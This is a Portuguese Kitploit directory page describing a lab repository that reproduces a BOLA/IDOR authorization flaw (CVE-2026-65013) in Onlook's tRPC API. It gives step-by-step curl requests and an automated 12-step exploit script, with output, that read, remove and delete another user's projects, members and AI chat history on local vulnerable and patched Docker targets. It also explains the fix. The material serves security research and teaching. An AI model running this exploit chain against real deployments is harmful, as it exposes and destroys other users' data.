Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2026-65013-BOLA-IDOR — PoC reproduzível de BOLA/IDOR contra a API tRPC do Onlook (CVE-2026-65013), com uma cadeia de exploração de 12 etapas, alvos Docker vulneráveis e corrigidos, e documentação técnica. | Kitploit
Ferramentas/GitHubGitHub/isaca0315/cve-2026-65013-bola-idor
Autenticação e AutorizaçãoAnálise de VulnerabilidadesExploraçãoExploração de Aplicações WebTestes de Segurança de APIsSegurança WebTestes de PenetraçãoAprendizado e EducaçãoRed Teaming

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar
Labs e Prática
GitHubisaca0315/cve-2026-65013-bola-idor

CVE-2026-65013-BOLA-IDOR

PoC reproduzível de BOLA/IDOR contra a API tRPC do Onlook (CVE-2026-65013), com uma cadeia de exploração de 12 etapas, alvos Docker vulneráveis e corrigidos, e documentação técnica.

Ver Repositório
há 1 diaAinda não revisado

CVE-2026-65013-BOLA-IDOR

PoC reproduzível de BOLA / IDOR na API tRPC do Onlook (CVE-2026-65013).

Qualquer usuário autenticado pode ler, modificar e excluir projetos, membros e histórico de IA de outros usuários apenas passando seus UUIDs para os procedimentos tRPC (versões <= 0.2.32).

CVECVE-2026-65013
AdvisoryGHSA-j6x3-f5cf-2pg4
CWECWE-639 (Authorization Bypass Through User-Controlled Key)
CVSS 3.18.8 HIGH — AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
VulnerávelOnlook <= 0.2.32
Patchcommit 423e2e9 (PR onlook-dev/onlook#3129)

📚 Documentação

DocumentoConteúdo

Resumo

O Onlook expõe seu backend via tRPC, e os procedimentos recebem o id do recurso diretamente do cliente:

root@kitploit:~
project.get({ projectId })                // lê qualquer projeto
member.remove({ projectId, userId })      // expulsa qualquer um
chat.conversation.delete({ conversationId }) // exclui histórico de IA
settings.get({ projectId })               // settings com API keys

O problema: a maioria não verificava se o chamador era membro do projeto. A conexão com o Postgres (Drizzle) era um superusuário isento de Row Level Security, então o controle tinha que viver no código tRPC... e ali faltava.

Um helper verifyProjectAccess() já existia (aplicado a um punhado de procedimentos, p. ex. project.update/delete), mas o resto da superfície confiava no id do cliente: project.get, member.list, member.remove, invitation.list, chat.conversation.*, chat.message.*, branch.*, settings.*, frame.*…

A autenticação NÃO é o problema (JWT do Supabase funciona). É autorização por objeto (BOLA/IDOR): o atacante usa sua própria sessão legítima contra ids da vítima.

Detalhe técnico da falha

  • lib/authorization.js contém os helpers que faltavam (verifyProjectAccess, verifyConversationAccess, verifyMessagesAccess, verifyBranchAccess, verifyCanvasAccess, verifyMemberRemoval, verifyInvitationAccess) — o equivalente do commit 423e2e9.
  • lib/router.js os invoca apenas se enforceAuth estiver ativado; no modo vulnerável os procedimentos são executados sem a checagem (o bug real).
  • No modo corrigido cada verificação lança o mesmo erro genérico Unauthorized or not found (UNAUTHORIZED), para que não seja possível enumerar a existência de recursos:
    root@kitploit:~

⚔️ Passo a passo de Red Team

Passo 0 — Subir a infraestrutura (Docker)

root@kitploit:~
docker compose up -d --build
curl -s http://localhost:3000/health        # {"status":"ok","fixed":false}   → VULNERÁVEL
curl -s http://localhost:3001/health        # {"status":"ok","fixed":true}    → CORRIGIDO

O Docker sobe o target (vulnerável e corrigido) mais um serviço demo. A exploração é feita da sua máquina contra esses targets.

Passo 1 — Reconhecimento

root@kitploit:~
curl -s http://localhost:3000/demo/ids      # ids do seed da vítima (Alice)

Isso substitui o canal real pelo qual um atacante obteria os UUIDs (link de preview compartilhado, referrer de logs, convites…).

Passo 2 — Login como o atacante (Bob, usuário legítimo)

root@kitploit:~
TOKEN=$(curl -s -X POST http://localhost:3000/login \
  -H 'content-type: application/json' \
  -d '{"email":"[email protected]","password":"bob123"}' | node -pe 'JSON.parse(require("fs").readFileSync(0,"utf8")).token')

Passo 3 — Exploração manual com curl (formato exato do advisory)

root@kitploit:~
# 3a. LER o projeto secreto de Alice (GET, formato input={"json":...}):
curl -s "http://localhost:3000/api/trpc/project.get?input=%7B%22json%22%3A%7B%22projectId%22%3A%2211111111-1111-4111-8111-111111111111%22%7D%7D" \
  -H "Authorization: Bearer $TOKEN"

# → {"result":{"data":{"json":{"id":"1111...","name":"Lanzamiento Q3 (PROYECTO SECRETO)",...}}}}

# 3b. LISTAR membros e emails (mesmo sendo alheio ao projeto):
curl -s "http://localhost:3000/api/trpc/member.list?input=%7B%22json%22%3A%7B%22projectId%22%3A%2211111111-1111-4111-8111-111111111111%22%7D%7D" \
  -H "Authorization: Bearer $TOKEN"

# 3c. EXPULSAR Alice (owner) do PRÓPRIO projeto dela (POST mutation):
curl -s -X POST http://localhost:3000/api/trpc/member.remove \
  -H "Authorization: Bearer $TOKEN" -H 'content-type: application/json' \
  -d '{"json":{"projectId":"11111111-1111-4111-8111-111111111111","userId":"aaaaaaaa-aaaa-4aaa-8aaa-aaaaaaaaaaaa"}}'

# → {"result":{"data":{"json":true}}}     ← (Alice não está mais no projeto dela)

# 3d. EXCLUIR o histórico de IA de Alice:
curl -s -X POST http://localhost:3000/api/trpc/chat.conversation.delete \
  -H "Authorization: Bearer $TOKEN" -H 'content-type: application/json' \
  -d '{"json":{"conversationId":"44444444-4444-4444-8444-444444444444"}}'

Passo 4 — Exploit automatizado (node exploit.js)

Executa os 12 procedimentos da cadeia (ler projeto, listar projetos de Alice, filtrar emails, expulsar o owner, listar convites, ler/excluir histórico de IA, branches, settings com apiKey, frames):

root@kitploit:~
node exploit.js                                  # contra :3000 (vulnerável)  → vazamentos
node exploit.js --target http://localhost:3001 --expect blocked   # contra :3001 (corrigido)

Saída típica (vulnerável):

root@kitploit:~
💥 project.get              → FILTRADO
💥 member.remove            → FILTRADO   (membership alheio excluído: true)
💥 chat.conversation.delete → FILTRADO   (histórico de IA alheio excluído: true)
...
✅ 12/12 — CVE-2026-65013 CONFIRMADA: bob leu/excluiu recursos de alice.

Contra o corrigido:

root@kitploit:~
🛡️ project.get              → BLOQUEADO   (Unauthorized or not found)
...
✅ 12/12 — Servidor CORRIGIDO: o mesmo ataque foi bloqueado.

A exploração muta o banco em memória do server vulnerável: para reexecutá-la, reinicie essa instância (docker compose restart server).

Passo 5 — Validar / contrastar


Demos de validação

root@kitploit:~
npm run demo        # compara VULNERÁVEL vs CORRIGIDO em processo (sem rede), 12 procedimentos
bash test-local.sh  # harness integral: curl (formato advisory) + exploit vs :3100 e :3101, exit code real

Ou no Docker:

root@kitploit:~
docker compose up -d demo
docker logs cve-2026-65013-demo

Frontend (modo app real)

root@kitploit:~
open http://localhost:3000        # (ou http://localhost:3001 para a versão corrigida)

Contas de demo:

  • Dashboard: seus projetos (project.getPreviewProjects), status do servidor (vulnerável/corrigido) e superfície tRPC.
  • Red Team: console que executa a cadeia BOLA completa pelo navegador como Bob, com resultados 💥 FILTRADO / 🛡️ BLOQUEADO por procedimento.

O frontend é apresentação: a vulnerabilidade vive em lib/router.js e o fluxo manual com curl do README continua sendo o mesmo.

Estrutura do projeto

root@kitploit:~
.
├── Dockerfile               node:22-alpine + deps + app
├── docker-compose.yml       server (vulnerable :3000), server-fixed (:3001), demo — mesma imagem, muda FIXED
├── .dockerignore            exclui node_modules
├── .gitignore
├── package.json             @trpc/[email protected], @trpc/client, superjson, zod
├── server.js                HTTP: /health, /login, /demo/ids, /api/trpc/*, estáticos (FIXED=env)
├── exploit.js               PoC automatizado (cadeia BOLA/IDOR de 12 passos)
├── demo.js                  comparação vulnerável vs corrigido em processo
├── test-local.sh            bateria local: curl (formato advisory) + exploits + exit code
├── lib/
│   ├── db.js                banco em memória + seed (UUIDs estáticos e reproduzíveis)
│   ├── auth.js              tokens de sessão HS256 (bem feitos de propósito)
│   ├── authorization.js     helpers do FIX (commit 423e2e9) → "Unauthorized or not found"
│   └── router.js            createAppRouter({ enforceAuth }) — a superfície tRPC
├── public/                  app "real" (login, dashboard, console Red Team)
│   ├── index.html
│   ├── styles.css
│   └── app.js               cliente tRPC manual (mesmo wire format do advisory)
└── docs/
    ├── CVE-2026-65013.md    documentação técnica da CVE
    └── ARQUITECTURA.md       este repo explicado (mapa, wire format, extensão)

Para entender o que faz cada linha-chave do exploit e como estendê-lo a mais procedimentos: docs/ARQUITECTURA.md §8-§9.

Aviso

Este material é apenas para fins educacionais e de pesquisa de segurança. Use o exploit somente contra aplicações próprias ou com autorização escrita do proprietário. O uso não autorizado desta técnica contra sistemas de terceiros é ilegal e o responsável por seu uso é quem o realiza.

Baixar ferramenta
docs/CVE-2026-65013.md
Técnica da CVE: root cause (RLS isento + helper mal distribuído), superfície afetada real, anatomia do ataque, análise linha por linha do fix 423e2e9, remediação, referências CVE/advisory/PR.
docs/ARQUITECTURA.mdDo PoC: mapa de arquivos, wire format tRPC v10+superjson, modelo de dados, esquema VULN vs FIX, tabela de procedimentos, mapeamento PoC ↔ Onlook real, guia de extensão, validação/CI manual.
// chat.conversation.delete — vulnerável (sem checagem) vs corrigido: enforce(() => verifyConversationAccess(ctx.db, ctx.user.id, input.conversationId))
  • project.update fica protegido em ambos os modos como "contraste": demonstra que o helper existia, só que estava mal distribuído.
  • Procedimento:3000 vulnerável:3001 corrigido
    project.get (projeto alheio)200 + nome/metadata401 Unauthorized or not found
    member.list (emails alheios)200 + emails401
    member.remove (expulsar o owner)200 true401
    chat.conversation.delete200 true401
    settings.get (apiKey)200 + settings401
    project.update (contraste: já estava protegido)401401
    EmailPasswordPapel
    [email protected]alice123dona do projeto secreto
    [email protected]bob123o atacante
    [email protected]charlie123editor do projeto de Alice